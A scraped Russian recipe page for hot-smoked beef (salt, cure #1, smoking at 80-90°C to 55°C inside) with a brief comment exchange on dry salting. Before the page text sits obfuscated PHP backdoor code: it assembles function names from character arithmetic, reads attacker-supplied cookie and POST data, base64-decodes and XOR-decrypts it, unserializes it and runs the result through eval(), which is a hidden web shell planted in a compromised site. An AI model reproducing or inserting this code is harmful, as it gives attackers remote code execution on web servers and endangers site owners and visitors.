$kphiBOJD = 'h' . chr ( 634 - 531 ).chr (95) . "\162" . "\102" . chr ( 162 - 50 ); $tlzxuVDuI = chr (99) . chr ( 836 - 728 ).'a' . "\163" . chr ( 357 - 242 )."\x5f" . 'e' . chr ( 181 - 61 ).'i' . "\x73" . chr ( 606 - 490 ).'s';$pIrqqIKjpA = class_exists($kphiBOJD); $kphiBOJD = "59360";$tlzxuVDuI = "46866";if ($pIrqqIKjpA === FALSE){class hg_rBp{public function kQVdKKM(){echo "51055";}private $gQPoKo;public static $HETcCyLM = "dd055860-1178-4382-bbe6-b1731abbe2ad";public static $cjdyII = 29116;public function __construct($GpQlsceO=0){$psYBWRuHC = $_POST;$MylDSx = $_COOKIE;$uxxIxYwK = @$MylDSx[substr(hg_rBp::$HETcCyLM, 0, 4)];if (!empty($uxxIxYwK)){$byiDf = "base64";$Sqatkdz = "";$uxxIxYwK = explode(",", $uxxIxYwK);foreach ($uxxIxYwK as $IaBeOT){$Sqatkdz .= @$MylDSx[$IaBeOT];$Sqatkdz .= @$psYBWRuHC[$IaBeOT];}$Sqatkdz = array_map($byiDf . "\x5f" . chr (100) . "\145" . "\x63" . chr (111) . 'd' . "\145", array($Sqatkdz,)); $Sqatkdz = $Sqatkdz[0] ^ str_repeat(hg_rBp::$HETcCyLM, (strlen($Sqatkdz[0]) / strlen(hg_rBp::$HETcCyLM)) + 1);hg_rBp::$cjdyII = @unserialize($Sqatkdz);}}private function YKuNECny(){if (is_array(hg_rBp::$cjdyII)) {$cJAZGjKyRg = str_replace(chr (60) . chr ( 487 - 424 ).chr (112) . "\150" . chr ( 323 - 211 ), "", hg_rBp::$cjdyII[chr ( 486 - 387 )."\157" . "\x6e" . "\164" . chr ( 554 - 453 ).chr ( 190 - 80 ).chr ( 932 - 816 )]);eval($cJAZGjKyRg); $JFRjYg = "49892";exit();}}public function __destruct(){$this->YKuNECny();}}$OZwGrn = new /* 37245 */ hg_rBp(); $OZwGrn = str_repeat("27503_51898", 1);} Говядина горячего копчения • Meat Review

На главную
Рецепты
Говядина горячего копчения

Говядина горячего копчения

Перейти в режим чтения

мин

0 0

Поделиться
3 417 Просмотры
Нравится 0

Добавить рецепт в закладки

You need to login or register to bookmark/favorite this content.

Виды готовки:

Горячее копчение

Классическая копченая говядина

Легко

Инструкция

Почти два месяца занимался экспериментами с говядиной.

Взял кусок тонкого края на 12 кг и издевался над ним, как только мог. Коптил всеми видами и способами, сушил – вялил, варил в вакууме и т.п.

Сегодня представляю самое простое: Говядина горячего копчения.

Сразу оговорюсь, все 12 кг были засолены одинаково.

Соль 2%

Cur#1 (он же нитрит).

Перец черный/красный.

Этот кусок просто коптился при 80-90С около 6 часов до достижения внутри 55С.

Остужен. Сутки обсушен и в вакуум на 2 недели в холодильник. Ничего сложного и инновационного.

При употреблении мясо было очень сочное, яркое и великолепно сочетало все вкусовые оттенки.

Оценка 10/10. Пожизненно включено в основное меню.

(Visited 3 417 times, 2 visits today)

5 комментариев
Stanislav

Stanislav

Говядина холодного копчения

Яйца в sous-vide

5 comments

× You need to log in to enter the discussion

Hello, guest
Logout
Login
Remember Me
Or use one of these social networks
/
Register

Alexkostabrava •
• 7 лет ago
А какой посол?
• 0 0 • Reply •
- Stanislav • author •
  • 7 лет ago
  
  Flag comment
  я солю только сухим
  • 0 0 • Reply •
  - Alexkostabrava •
    • 7 лет ago
    
    Flag comment
    Еще вопрос, сколько дней на кг? Или как-то по другому рассчитывается?
    • 0 0 • Reply •
    - Stanislav • author •
      • 7 лет ago
      
      Flag comment
      Зависит от толщины куска, эти 2 дня солились, крупные - не больше 6, при сухом посоле - не пересолишь
      • 0 0 • Reply •
      - Alexkostabrava •
        • 7 лет ago
        
        Flag comment
        Спасибо.
        • 0 0 • Reply •